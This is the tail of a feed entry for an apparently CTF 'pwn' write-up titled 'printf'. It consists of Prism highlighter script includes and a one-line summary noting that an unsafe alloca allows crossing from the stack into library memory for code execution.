<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/themes/prism.min.css" crossorigin="anonymous" integrity="sha384-96FMAcvTHMLB8mZZaXH06yPehGxX3T0Ua5rIVU/R+JJDdEjYiyJe4gJ/Sf7uLDbv" />

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/prism.min.js" crossorigin="anonymous" integrity="sha384-YskgLFElT4+kh2Q2AgU/TwVMfT6h6AF7KfA3ohd457FfvHJtCkUXKVYWmhBVQQWE"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-c.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-python.min.js"></script>]]></content><author><name>[&quot;wgh&quot;]</name></author><category term="write-up" /><category term="pwn" /><summary type="html"><![CDATA[printf was a pretty typical pwn task: you get binary, libc, network address, and you have to gain an RCE. The vulnerability is an unsafe alloca which allows one to cross the gap between stack and libraries.]]></summary></entry></feed>